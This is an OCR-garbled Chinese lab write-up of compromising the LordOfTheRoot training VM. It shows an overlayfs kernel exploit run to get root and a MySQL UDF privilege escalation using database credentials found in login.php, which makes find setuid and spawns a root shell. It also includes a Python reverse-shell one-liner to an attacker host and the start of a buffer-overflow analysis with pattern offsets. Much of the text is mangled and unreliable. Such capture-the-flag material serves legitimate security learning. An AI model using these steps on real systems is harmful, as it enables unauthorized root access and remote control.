./39166 //HATexp A PAT M



|.

Xt oiff mis EE FE

- /2022/6
" ( nlolt 39166

Exploit Title | Path

Linux Kernel 4.3.3 (Ubuntu 14.04/15.18) - 'overlayfs' Local Privilege Escalation (1) | linux/local/

Shellcodes: No Results

.1 /2822/6
locate linux/local/39166.c
Jusr/share/exploitdb/exploits/Llinux/local/39166.c

m f2022/6
 fusr/share/exploitdb/exploits/linux/local/39166.c /2022/6

2 /2022/6
39166.c

] /2022/6
] SimpleHTTPServer 8081
Ser\flng HTTP on ©.0.0.0 port 8@E1l "
192.168.75.144 - - [28/Mar/2022 22:12:31] "GET /39166.c HTTP/1.1" 200 -

» root@LordOfTheRoot: ~

Xttt i wiE EE EE

smeagolmLordeTheRoot:~$ wget http://192.168.75.144:8@881/39166.cC
—2022-03-28 ©03:25:08— http://192.168.75.144:8081/39166.c
Connecting to 192.168.75.144:8081 ... failed: Connection refused.
smeagolalLordOfTheRoot:~$ wget http://192.168.75.140:8081/39166.c
-—2@022-93-28 ©3:25:15— http://192.168.75.140:8081/39166.cC
Connecting to 192.168.75.140:8081 ... connected.

HTTP request sent, awaiting response ... 200 OK

Length: 2789 (2.7K) [text/plain]

Saving to: ‘39166.c’

100%[

2022-@3-28 ©3:25:15 (357 MBfs) - “39166.c’ saved [2789/2789]

smeagolalLordofTheRoot:~% s
37292 39166.¢C examples.desktop LinEnum.sh
2friell AT les.sh linpeas.sh
smeagolalLord0fTheRoot:~% chmod +x 39166.c
smeagolalLord0fTheRoot:~$ ./39166.c
No such file or directory
./39166.c: line 2: just: command not found
./39166.c: line 3: $'\r': command not found
./39166.c: line 1@: $'\r': command not found
./39166.c: line 11: blah@ubuntu:~%: command not found
./39166.c: line 12: syntax error near unexpected tokem “('
'/39166.c: line 12: “uwid=18@1(blah) gid=1081(blah) groups=1801(blah)
smeagolalLord0fTheRoot:~% gcc 39166.c -o 39166
smeagolaLordofTheRoot:~$' ./39166
root@lLordofTheRoot :~# id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)

root@lLord0fTheRoot:~# [ CSDN @/ = N,

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”

- Gandalf

- ] reot@LordOfTheRoot: froot
M mhiE iRiE EF BEH

root@LordOfTheRoot:~# cd /root

root@Lord0ofTheRoot: /root# 1s

buf buf.c Flag.txt pther other.c switcher.py

root@LordOfTheRoot: /root# cat Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power."”
— Gandalf

root@Lord0fTheRoot: /root# ||




4.2 udff L

ud FHRRALF A
root MfRiZ4Tmysql

7E MySQL 5.5 ZHi secure_file priv BRIAEZ, XAMEGL T AT LAMER 40 B2 5 SO
fE MySQL 5.5Z )5 secure_file priv ERiARZ NULL, XAMEH FAW PLE X4
udf.d113 AR B AEmy sql %35 B R 1ib\plugin i3 F 7 7 PLEIE B & X R #

4.21 mysqlhit 4, R
grep mysql --BEEREGRAE

| grep mysql ---E&Amysql#REEE

smeagol@ LordOfTheRoot: fvarfwww

Xttt i RE EE B

smeagol@glLordOfTheRoot:/tmp$ cd /var/wew
smeagol@lLord0fTheRoot: /var/ww$ s

4@4 . html index,html
smeagol@LordofTheRoot:/var/waw$ dpkg -1 | grep mysgl

ii  libdbd- -perl

erl5 database interface to the MySQL database

ii lib client18:1386

ySOL database client library

ii -client-5.5

ySQL database client biparies

ii -client-core-5.5

ySQL database core client binaries

ii —common

ySOL database common files, e.g. /etc/ /my.cnf

ii -Server

ySQL database server (metapackage depending on the latest
ii -server-5.5

ySQL database server biparies and system database setup
ii -server-core-5.5

ySOL database server binaries

ii phps-

ySQL module for php5s

rc  php5- nd

ySaQL module for php5 (Native Driver)
smeagol@glLord0fTheRoot: /var/www$ ps aux | grep mysgl

root 1958 @.0 4.2 327064 L3868 7 Ssl  Mar27
smeagol J8Y5o W.¥ W.1 4bY2 1964 pIsS/o o+ Vi 4/
smeagol@dlord0fTheRoot: /var/ww$ J]

4.2.2mysql& G

cat login.php //BEEMAE
grep "password" -rn login.php //&EE&Hroot KT

ik 5 25 15
root

darkshadow

5

5

5

.025-1

-5. 44 0ubuntu®.14.04.

« 5. 44-Qubuntu®.14.04.

.5.44-Qubuntu@.14.04.

-5.44-0ubuntu®.14.04.

« 5. 44-Qubuntu@.14.04.

version)

5

iy

5

.5.44-Pubuntu®.14.04.
-5.44-Qubuntu@.14.04.
.5.9+dfsg-lubuntu4.11
.5.9+dfsg-1lubuntu4.11

@:84 Susr/sbin/ d
0w grep —color=auto

CSDN @/MEREEZE X,
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Xt I HE EB

smeagolaLorddfTheRoot
404 .html
smeagol@lLorddfTheRoot
smeagol@lLorddfTheRoot
index.php 'login.php
smeagolalLorddtTheRoot
<?php

smeagel@Lord OfTheRoot: fvarfwww/978345210
BN

:/var/ww$ s
index.html
:/var/wm$ lcd 978345210
:/var/wew /978345210% 1s
logout.php profile.php
:/var/wan /978345210% cat login.php

session_start(); // Starting Session

$error="

; // variable To Store Error Message

if (isset($_POST['submit'])) {
if (empty($_POST['username']) || empty($_POST['password'])) {

jerro

}

else

{

r = "Username or Password is invalid”;

// Define $username and $password
$username=%_POST[ "username'];
$password=%_POST[ "password’'];

$db =

[/ To

new mysgli(’localhest’, 'root’, 'darkshadow®, 'Webapp')

protect MySQL injection for Security purpose

$username = stripslashes($username);
$password = stripslashes($password);

$sgl=

$rows

if (%

"select username, password from Users where username='".%username.”' AND password='".$password.”';";
[/fecho $sql;
$query = $db—query($sql);

= $query—num_rows;

rows = 1)
$_SESSION[ 'login_user’]=%$username; // Initializing Session
header("location: profile.php”); // Redirecting To Other Page

} else {

}

1

L
?>

error = "Username or Password is invalid®;
P

smeagolalord0fTheRoot: /var/wumw /978345210% grep "password” -rn /978345210/login.php
grep: /978345210/login.php: No such file or directory
smeagolalord0fTheRoot : /var/www /978345210% grep "password” -rn login.php
; if (empty($_POST['username']) || empty($_POSTL' 1) {

// Define $username and %

$ =$_POST[® ‘1;

$ = stripslashes($ i
1 $sql="s5elect username,
smeagolalord0fTheRaot : /var/waw /978345210% '#ren "ront” —rn login.nhn
1 $db = new mysqli('localhost”, ° ', 'darkshadow', 'Webapp');
smeagolalLord0fTheRoot:/var/wa /9783452105 i

4.2.3 udf&

mysql -uroot -pdarkshadow

HARE T REHCEAFMS:

mysql> show global variables like 'secure%';

| secure_auth

| secure file priv |
% B LUBEATUDF $RARL A !

HE M E X

mysql> show variables like '%plugin%';

WM HS7E: /usr/lib/mysql/plugin/

from Users where username='".%username.”' AND

CSDN @/DEFFEE N




= smeagel@LordOfTheReot: fvar/www /978345210

Xt IfE HmiIE EE BED

smeagolalLordOfTheRoot: /var/wm /978345210% mysgl -uroot -pdarkshadow
Welcome to the MySQL moniter. Commands end with ; or \g.

Your MySQL connection id is 221

Server version: 5.5.44-Qubuntu®.14.04.1 (Ubuntu)

Copyright (c) 200@, 2015, Oracle and/or its affiliates. ALl rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owWners.

Type "help;” or '\h' for help. Type '\c¢' to clear the current input statement.

mysgl> show global variables like 'secureX’;

Variable_name

secure_file_priv

+
|

+

| secure_auth
|

+ +
2

rows in set (0.00 sec)

mysgl> show variables like "%plugin%’;

+ ¥

| variable_name | Value

+ +

| plugin_dir | |/usr/1ib/mysql/plugin/
+ +

1 row in set (@.00 sec)

mysql> i CSDN @\fpﬁ_gﬁ’ﬁyh
BERAAEEER & LT SR DA ms FHR 1L

use mysql;

select user,host from user;

S Be e 2 % il

mysql> use mysqgl;
Reading table information for completion of table and column names
You can turn off this feature to get a guicker startup with -A

Database changed
mysql> select user,host from user;
+

user

+
! !
+ +
| root |
| root | =
| debian-sys-maint | localhost
| | localhost
! !

+ +

5

lordoftheroot

root
root

o———— e —

rows in set (0.00 sec)

mysql> []

CSDN @/DEfEE N,

MySQLH!, BLOBR—A—#tHI KA R, BR—AHWUFMREHENER, BRENDSFER DML
BLOBRAISERR &K A R (TinyBlob. Blob. MediumBlob. LongBlob)
G T EFAERRAE R E EARS, MIIRERK.

MySQL ] P9 F#BLOBS A «
KA (AL F5)
®K 255
B K 65K
&K 16M
®K 4G




AT AR 1ib_mysqludf_sys#RELHIBREIAT R4dr4, 1ib_mysqludf_sys:
sys_eval, PATEEMS, HKdHH IR E
sys_exec, PATEEML, HKBHEERE,

ELE udf exploitHR A KR HIMAT RS A&

do_system

ARRAEALib_mysqludf sys

locate lib_mysqludf_sys //&EFH1ib_mysqludf_sysfiE

cp /usr/share/metasploit-framework/data/exploits/mysql/lib _mysqludf sys 32.so /2022/6
/ /5 #11ib_mysqludf_sys _32.soZ| /2022/6 HF

mv 1ib_mysqludf_sys_32.so udf.so //Ef4 Audf.so

du udf.so //&Fudf.so XKD

python -m SimpleHTTPServer 8081 //{TH AHshttpikss

root@kali: 2022/6
Xtr hfE fRiIE ZE B

@ .f‘)ﬂ‘)‘).fﬁ
lib _mvsoludf svs

Jusr/share/metasploit-framework/data/exploits/mysgl/lib_mysgludf_sys_32.
fusr/share/metasploit-framework/data/exploits/mysal/1ib mysgludf sys 32.
Jusr/share/metasploit-framework/data/exploits/mysgl/1lib_mysgludf_sys_64.
fusr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.
fusr/share/sqlmap/data/udf/mysgl/1inux/32/1ib_mysqludf_sys.so_
Jusr/share/sqlmap/data/udf/mysgl/1linux/64/1ib_mysgludf_sys.so_
/usr/share/sqlmap/data/udf/mysgl/windows,/32/1ib_mysqludf_sys.dll_
/usr/share/sqlmap/data/udf/mysgl/windows,/64/1ib_mysqludf_sys.dll_

-] /2022/6
usr/share/metasploit-framework/data/exploits/mysgl/1ib mysqludf sys 32.so0 /2022/6

-] /2022/6
39166.c lib_mysqludf_sys_32.so passwd.txt post.txt users.txt

-] /2022/6
lib mysgludf sys 32.so0 udf.so

-] /2022/6
39166.c passwd.txt post.txt 'udf.so wusers.txt
-] /2022/6
udf.so

uaT.so

® /20822/6
SimpleHTTPServer 8081

CSDN @/FfEE X




wget http://192.168.75.140:8081/udf.so //¥sh&EEEETHBEREN tmpEFET
mysql -uroot -pdarkshadow //#Amysql
create table udf (line blob); //QIER, HTHBAMAL R udFSCARINE.

insert into udf values(load file('/tmp/udf.so')); //ERXRFHEAudfXHEHNE
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so’;

/[ Fud 3N BENFTZE P udf . so3CfFH, BARYE B CeE@ebasedirfEel
create function sys_eval returns strings soname 'udf.so'; GIEHE XHE

select * from mysql.func; //BEEERH

select sys_eval('chmod u+s /usr/bin/find");

/ /W sys_eval RECRAFindr & A & KsuidtiR, FEHATHATrootird

find / -exec '/bin/sh' \; //#ATHRM

// VBRI EELRN ERME R Hshell FEFHEL

// python -c 'import pty;pty.spawn("/bin/bash")' 3IR1GHELE

// DAEENA nc BWIFS%O4A nc -lvp port

// TEEF R shellfiy #3475

// python #ishell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MHWrEHlip"
,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

cd /root
1s
cat Flag.txt




n smeagel@LordOfTheReoot: ftmp

Xt IfE HiE BT HE

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysgl> create table udf (line blob);
Query OK, ® rows affected (08.81 sec)

mysgl> insert into udf values(load_file('/tmp/udf.so’));
Query Ok, 1 row attected (U.0¢ sec)

mysql> select * from udf intp dumpfile'/usr/lib/mysql/plugin/udf.so”;

ERROR 1064 (4200@): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near 'dumpfile’/usr/lib/mysgl/plugin/udf.so'’ at line 1

mysql> select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.sao’;

Query OK, 1 row attected (U.¢¥ sec)

mysgl> create function sys_eval returns strings soname 'udf.so’;

ERROR 1864 (42@08): You have an error in your SOL syntax; check the manual that corresponds to your MySQOL server version for
the right syntax to use near 'strings soname 'udf.so'" at line 1

mysgl> create functlon sys_eval returns string soname 'udf.so’;

Query UK, ¥ rows artected (¥.v9 sec)

mysql> select * from mysql.func;
+

dil type

do_system

sys_eval

T
name | re
+
| :
| udf.so function
+

T
t | |

+ +
2 | 1518.s0 | function
o | |

+ +

rows in set (@.00 sec)

mysgl> select sys_eval(’'chmod u+s fusr/bin/find');
+

sys_eval('chmod u+s /usr/bin/find")

+
| |
+ +
| nNuLL |
+ +
il

row in set (.06 sec)

mysgl> exit

Bye

smeagol@lLordOfTheRoot: /tmp$ find / -exec '/bin/sh' \;

# cd /root

# 1s

buf buf.c Flag.txt other other.c switcher.py

# cat Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”

— Gandalf CSDN @f_L‘H—Ei»?’j,XL
4.3 22 X (buff)
BAEBRhttps://baike.baidu.com/item/%E7%BC%I3%ES%86%B2%ES%SCHBAGE6%BA%A2%ES%87%BA/678453?Fr=aladdin

s 7H B 4
strcpy() strcat(), sprintf(), vsprintf(), gets(), scanf()

ALSR




R XU BN
RS FHEAE HRFHNAN writeup I

SECRETC MR HF R XM — Mrd B3
find / -name SECRET 2>/dev/null // 2>/dev>null ZB&EE(H
TEZEHFET RIU=ATHFEK BOHMTFHFE —Nfilextff

B X <5 BALSRIVLE ENFENLIL
K
= FFENL. L. R, mmap() LK VDSO M#EBEHLAL.
LFEHL

/proc/sys/kernel/randomize va_space #&H
2
2B
SR https://blog.csdn.net/counsellor/article/details/81543197

smeagol@LordOfTheRoot: [SECRET
Xt oife HwiE EF EE

smeagoldlordOfTheRoot: /tmp$ find / -name SECRET 2>/dev/null
/SECRET

smeagolalLordOfTheRoot: /tmp$ cd /SFCRET
smeagolilLordOfTheRoot: /SECRETS 1s -alhR

total 20K

drwxr-xr-x root root 4. Sep 22 2015
drwxr-xr-x root root &. Sep 22 2015
drwxr-xr-x root root 4. Mar 29 @7:48
drwxr-xr-x root root 4. Mar 29 @7:48
drwxr-xr-x root root &. Mar 29 @7:48

./doorl:
total 16K
drwxr-xr-x
drwxr-xr-x
~-TWSI-XI-X

./door2:

total 16K
drwxr-xr-x
drwxr-xr-x
~TWST-XT-X

./door3:

total 16K

drwxr-xr-x 2 root root 4.0K Mar 29 07:48

drwxr-xr-x 5 root root 4.RK Sen 22 2015

-rwsr-xr-x 1 root root 5.1K Sep 22 2815 file
smeagolilLordOfTheRoot: /SECRETS cat /proc/sys/kernel/randomize_va_space
2

smeagoldLordofTheRoot : /SECRETS ] CSDN @/EfEE X,

E—B A HE RN T




s smeagol@LordOfTheRoot: [SECRET

M e wiEB EF EE
smeagoldlLordOfTheRoot: /SECRET$ 1s -alhR

total 20K

drwxr-xr-x root root 4.8K Sep 22 2015
drwxr-xr-x root root 4.8K Sep 22 2015
drwxr-xr-x root root 4.0K Mar 29 @8:09
drwxr-xr-x root root 4.8K Mar 29 @8:09
drwxr-xr-x root root 4.0K Mar 29 @8:09

./doorl:

total 16K
drwxr-xr-x
drwxr-xr-x
—TWST-XI'-X

./door2:

total 16K
drwxr-xr-x
drwxr-xr-x
—TWST-XI'-X

./door3:

total 16K

drwxr-xr-x 2 root root &.0K Mar 29 08:99
drwxr-xr-x 5 root root 4.@K Sep 22 2015
-rwsT-Xr-x 1 root root 7.2K Sep 17 2@15 file
smeagolaLordOfTheRoot: /SECRET$ 1s -alhR

total 20K

drwxr-xr-x root root 4.0K Sep 22 2015
drwxr-xr-x root root 4.80K Sep 22 2015
drwsr-xr-x root root 4.@K Mar 29 @8:12
drwsAr-xr-x root root 4.@K Mar 29 @8:12
drwxr-xr-x root root 4.@K Mar 29 @8:12

./doorl:

total 16K
drwxr-xr-x
drwxr-xr-x
—-TWST-XI-X

./door2:

total 16K
drwxr-xr-x
drwxr-xr-x
~TWSr-XI'-X

./door3:

total 16K

drwxr-xr-x 2 root root 4.0K Mar 29 @8:12
drwxr-xr-x 5 root root 4.8K Sep 22 2015
-rwsr-xr-x 1 root root 7.2K Sep 17 20815 file
smeagol@lorddfTheRoot: /SECRETS ]

CSDN @/ EREE KX,

TR3E SO KNSRI IASAT7 .2k — AR5, 1k
M5 . 1k 3 E
HT 2L % EHF Fbase64dmtl 7EHETIIRAE B bl

smeagol@lord0fTheRoot: /SECRETS cd door?

smeagolilLordOfTheRoot:/SECRET/door2{ base64 file
fOVMRZEBAQAAAAAAAAAAAAT AAWABAAAAY TMECDUAAALSUAAAAAAAADOATAATACEAHEADAAYAAAAD
AAAANTAECDSABASAAQAAAAEAAAUAAAAEAAAAAWAAADOBAAADEOOINTIEECEMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABASASAQIOAYAADEGAAAFAAAAABAAAAEAAAALBEAADIYECDIWBAZEAQAAIAEA
AAYAAAAAEAAAASAAAEQGAABELgOTRIYECOSAAADCAAAABSAAAAQAAAAEAAAASAEAAEIBBART 00T
RAAAAEQAAAAEAAAABAAAAFDLdGRCBOAAXIUECFyFBAZSAAAAL AAAAAQAAAAEAAAAUEVOZAAAAAAA
AAAAAAAAAAAAAAAAAAAABWAAABAAAAAVbGl1L2kaWKpan4LnNVL]IAAAQAAAAQAAAAAQAAAEdO




gedit baseb4.txt
cat base64.txt | base64 -d > file

iyl
B i
- root
&5 h i file

b

N miff wiE/EF EWD
I 120272/6

baseb4 . txt

root@kali: (20226

¥ r.Inhibit failed:

(gedit:914 :
ttop.DBus.Error.Unk

GDBus.E
file

/2022/6

./file //BATRIBAT M
chmod +x file //4ASCHEIAT
5, RFRIEBEZEMMshel 14T

i F py thon iy & HRIEARR AW 2 DA 745 & R BAER At . Pythonf -c

/R kBRI 5

./file $(python -c 'print "A" * 200')




3 root@kali:/2022/6
X+ EfE wiE BT FH

2 f2022/6
Jfile
zsh: WEAB: ./file

f2022/6
+x file

2 f2022/6
1 1y t "print

@ /2022/6
ffile )yt 'print "A" % 200
zsh: segmentation fault ./file $(python -c ’print "A" = 200")

® /2022/6
le $(pytho '‘print "A" * 150°

-] f2022/6
Fil rtho 'print "A" * 175°
zsh: segmentation fault ./file $(python -c 'print "A"™ * 175')

® /2022/6
11le ytho "print

2® /2022/6
le ytho ‘print

2 /2022/6

STile nytho "print "A" %= 171°
zsh: segmentation fault ./file ${python -c 'print "A"™ * 171')

® /2022/6
; il G rana EAR o 139

/2022/6
CSDN @/ X,
GDB-peda

GDBHEAT /- #T ! peda#id:
PESe
https://blog.csdn.net/aoxixi/article/details/90142736

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

AEE R — MR, R B e A R AT !

gdb file ---gdbZHrfilestff
BiF gdb ./file

/202276

]
gdb file

Copyright (C) 2821 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute 1it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and "show warranty” for details.

This GDB was configured as "x86_64-linux-gnu”.

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs />.

Find the GDB manual and other documentation resocurces online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help”.
Type "apropos word" to search for commands related to "word"” ...
Reading symbols from fil

(No debugging symbols found in file) CSDN @f}"#@?j%h




/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -1 1000
/| ZBATAH E S 7T DLAE RRALAS #EAT S 7S

ﬂ /202276

5 share/metasploit-framework/tools t/pa create.rb 1000 h &
Aa@Aa1A32Aa3AaﬁAaSAaGAa?AaBAaQAb@Ab1Ab2Ab3Ab4Ab5Ab6Ab?Ab8Ab9Ac@Ac1Ac2Ac3Ac4AcSAcGAc?AcsanAd@Adlndzn
d3Ad4AdSAdBAdTAd8Ad9AeBAe1Ae2 Ae3AeiAe5AebAeTAeBAcOATOATIAF2AFIAFLAFSAT6ATTATBATIACOASIAZ2ASIATLASSAS
6Ag7Ag8Ag9AhRBAh1IAR2AR3ARLARSARBARTARBARIAIRALIIAIZAIZAILAISAIGAITAIBAIOAJOATIAI2AJ3AJLA]SAIBA]TA]BATY
AkOAk1Ak2AKIAkLGAKSAKEAKTAKBAKSALBALIATZALIALLALSATEALTALSAL9AMOAMLAM2AM3AmsAMSAMEAM7 AMSAMSANBANIANZA
n3An&ANSANGAN7ANSANSA0DAD1AC2ZA03ADLADSADGADT ADBADIADRAD1AP2Z ADp3APLAPSAPDAPTADBAPIAQRAQlAg2Ag3AQL4AGgSAg
6AQTAQBAQOArBATIAT2AT AT LATSATBAT FArBAT9ASOAS1ASZASIASAASOSASBASTASBASOAT DAL IALZATIALLATSATEALTALBALY
AuBAulAu? AudAusAuSAUBAUTAUBAUTAVBAVIAVZAVIAVLAVSAVEAY T AVEAVOAWD Awl Aw2 Aw3 Awd AwS Awe AwT AwBAWIAXBAXIAXZA
KIAXLAXSAXBAXTAXBAXIAYDAYIAYZ2AYIAYLAYSAYEAY TAYBAYIAZOAZIAZZAZIAZ4AZOAZOAZTAZBAZ9BaBBalBa2Ba3Ba4BabBa
6Ba7Ba8Ba9%BbBBb1Bb2Bb3Bb4BLSEDGBD7EDEBbY9BCOEC1BC2BCc3BCABC5BCcABC7BC8BcO9BdOBd1Bd2Ed3Bd4Bd5Bd6Bd7BdEBdS
Be@BelBeZBeBBe#BeSBeGBe?BeBBeQBfBB{lB{ZBfSBféB{5B{ﬁBf?Bf8B{ng@BglBgZBg3BgﬁBgSBgGBg?BgBnggﬂgﬁpx@ﬁgﬁ§$5@$%gjxh

run AaPAalAa2Aa3AadAaSAabAa7Aa8AaSAboAblAb2Ab3Ab4AAb5Ab6Ab7Ab8ADIACOACIAC2AC3ACAACSACH6AC7ACBACIAdOAdIAd2Ad3Ad4AAdS
Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ac6Ae7Ae8AeOATOATIAT2AF3ATAATSATE6AT7AT8ATOAgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8AgOAhOARTAN2A
h3Ah4Ah5Ah6Ah7Ah8AhOA10A11A12A13A14A15A16A17A18A19AjOAj1Aj2Aj3Aj4Aj5Aj6A]7Aj8Aj9AKOAK1AKk2AK3AK4AKS5AKk6AK7AK8AKIAL
OA11A12A13A14A15A16A17A18A19AMOAMIAM2AmM3AM4AM5Am6AM7 Am8AMOANBAN1AN2An3An4An5An6An7An8An9A00A01A02A03A04A05A06A07
A0OBA09APOAP1AP2Ap3Ap4APSAp6APp7Ap8APIAqOAqLAG2Aq3Aq4Aq5Aq6Aq7Aq8AqOAroAr1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9AsOAs1As2As3AS4AA
SS5AS6AS7As8ASOAtOAtIAt2At3AT4AL5AT6AL7At8ALOAUOAULAU2AU3AU4AUSAU6AU7AUBAU9AVOAVIAV2AV3AVAAVSAVEAV7AVEAVOAWOAWLAW
2AW3AWAAWSAWEAW7 AWBAWOAXOAXTAX2AX3AXAAX5AX6AX7AX8AXOAYOAY 1Ay 2AY 3AYAAYSAY6AY 7AYy 8AYOAzOAZz1AZz2Az3Az4Az5Az26Az7Az8Az9
Ba®BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9BboOBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBCcOBCc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6B]
d7Bd8Bd9Be@Bel1Be2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BTfOBgOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhoBh1Bh2B

2 /2022/6
file

Copyright (C) 2821 Free Software Foundationm, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and "show warranty” for details.

This GDB was configured as "x86_64-linux-gnu”

Type "show configuration” for configuration details.

For bug reporting instructions, please see:

<https://vww .gnu.org/software/gdb/bugs />.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help”
Type "apropos word" to search for commands related to "word” ...
Reading symbols from file...
(No debugging symbols found in file)

run AaBAalAaZAa3AasAabAabAa/AaBAa9ADOAD1ADZADIADL4ADSADBAD 7ADBADSACBACIACZACIACLACSACBAC/ACBACYAd
QAd1Ad2Ad3AdLAdSADBAdTADBAdIAeBAe1Ae2Ae3ActAeSAcbAeTAcBAcOATOATIAT2ATIATLATSATOATTAFBATOAZOAZIACIAG3ACLAES
AgBAg7AgBAZIAhBAhIAR2ZAR3ARLARSARBARTARBARIAIDALIIAIZAIZAILAAISAI6AITAIBAI9ATOA]IAT2A]IATLA]SATEATTAIBA]IAKDA
k1Ak2Ak3Ak4AakSAkeAKk7AKSAKIATAATIAT2AT3ATLATSA1E6ALTALSAT9AM@AMIAM2 AM3AMAAMSAMGAMT AMEAMIANBANTAN2AN3ANLANSAN
B6ANTANSANSA0RAD1AC2A03A04A0SA0BADTAOBACSAPBAD1Ap2AP3ADLAPSAPEAD7APBAPSAqRAQlAQ2Aq3AqiAqSAqQBAgTAqQBAQOATRAT]
Ar2Ar3AT4ATSATBAT7ATBATr9ASBASIAS2ASIASLASSASOASTASSASOATOATIATLZAT3ATLATSATAALTALBALSAUAAUTAUZ Au3AULAUSAUBA
U7AUSAUSAVAAVIAVIAVIAVLAVSAVOAVTAVEBAVIAWDAWL AW AwI AW AWSAWEAWT AWBAWIAXAAX 1A 2 AXIAKLAXSAXGAXTAXBAXIAYDAY 1AY
2Ay3AyLAYSAYEAYTAYBAYOAZOAZ1AZ2AZ3AZ4AZ5AZ6AZTAZEAZ9Ba0Bal1Ba2Ba3BatBasBabBa7Ba8Ba%Eb@BEb1Eb2Bb3Bb4Bb5SEDGBDT
Bb8Bb9BCcOBCc1BCc2Bc3Bc4BcSBc6BCc7BcBBc9Bd@Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3BeiBe5Be6BeT7Be8Be9BTOBT1BT2B
f3Bf4BfSBf6Bf7Bf8Bf9Bc@Be1Bg?Bo3Bo4Be5Bo6Be7BEg8Bg9Bh@Bh1Bh2B
Starting program: /2022/6/flle Aa@AalAa2Aa3lAalAabAabAa/AaBAa9AbOADIAD2AD3ADLADSADEADTADEBADOACBACIAC2ACIACK
AcSACBACTACBACIAdOAdIAd2Ad3IAdAAdSAdBAdTADBAdIAEBAe1AE2Ae3ActAeSAcbAeTAcBAIATOATIAT2ATIATAATOATEOATTATEBATOA
gOAg1Ag2AgIACLATSACEAZTASBAZIAhBARIAhZAR3AhLARSARBARTARBARIAIBAIIAI2AIZAI4AISAIGAITAIBAIOAJRA]IAJ2ZATIATLA]
SAJBATTA]BAT9AkOAKIAK2AKIAKAAKSAKEAKZAKBAKIATBALIALZAL3ALEAALSAL6A17ALBAL9AMOAMLIAM2 AM3AMAAMSAMEAM7 AMSAMIANG
AnlAnZAn3An4AnSANGAN7ANBANSA0RAD1ACZAD3A0L4A0SA06A0TACBADTAPRAPIAPZAPIAPLADPSAPBAPTADBAPOAQOAQlAQZAQ3AQLAgDA
q6AQ7AqQBAQOATPATIAT2ArIATAAT SATEAT FATSATIASBASIASZAS3ASLASSASHASTASBASOALOALIAL2ALIALL4ATSALBATTALBATIAUBAL
lAuZ Au3Au4AuSAUBAUTAUBAUSAVAAVIAVIAVIAVLAAVSAVEAVTAVBAVIAWAAW]L Aw2 Aw3 Awd AwSAWE Aw 7 AwB AwOAXBAX 1A 2ANIANLANSAXG
AxTAXBAXOAYDAYIAYZAYIAYLAYSAYEAYTAYBAYOAZOAZ]1AZ2AZIAZLAZOAZ6AZTAZEBAZO9BaA0BalBa2Ba3Ba4tBasBabBa7BaBBa%BbOEbI1E
b2Bb3Bb4Bh5Bb6Bb7EbBBb9BCcABC1BCc2Bc3Bc4Bc5BcABC7BCcE8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Ed9Be@Be1Be?Be3BesiBebBebBe
7BeBBe9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BfOBg@Bg1Bg2Bg3Bo4BeSBo6Be7BgB8Bg9Bh@Bh1Eh2E

CSDN @/ EREE M

Program received signal SIGSEGVY, Segmentation fault.




Program received signal SIGSEGVY, Segmentation fault.

=@
9x@
— B0x=43004232 ('2B")
— @x41004232 ("2B")
Bx2
(<_start>: xor ebp,ebp)
Px36664135 ('5Af6")
= ("fBAfoAgDAgIAgIA3AgLASSACEASTAZBAEIARBARIARZARIARLARSARGARTARBARSAIBAIIAIZAI3AILAAISAIBAL
?AlBAlgA]@Aj1A32A]3A]4A]SAJSA]?A]BA]QAk@AklAkEAkBAkAAkSAkGAk?AkBAkghl@Al1A12A13A1#Al5A16A1?A18A19Am@Am1Am2
Am3AmA" .. )
IP: 63413?6641 ¢! AFTA ]
GS: 8x10282 (c parity adjust zero sign trap direction overflow)

@@@@| ("fBAf9AgBASIASIASIASLASSASEASTASBAE9AhBARIAR2ARIARLARSARBARTARBARIAIDAI1AIZAI3AIL4AIBAIGA
i7AIBAI0AIOATIATZATIATLAISATRATTAIBATOAKOAKIAKZAKIAKEAKSAKAAKTAKBAKSATAATIALZALIALLALSALAALTALSALSAMBAMTAM
2Am3Am&" ... )
@@@ﬁ| ("9AgBAg1Ag2 Ac3ApLAgSACEASTAgBAZOAROARIAR2ZAR3ARLARSARGARTARBARIAIBAIIAI2AI3AILAISAIBAITAL
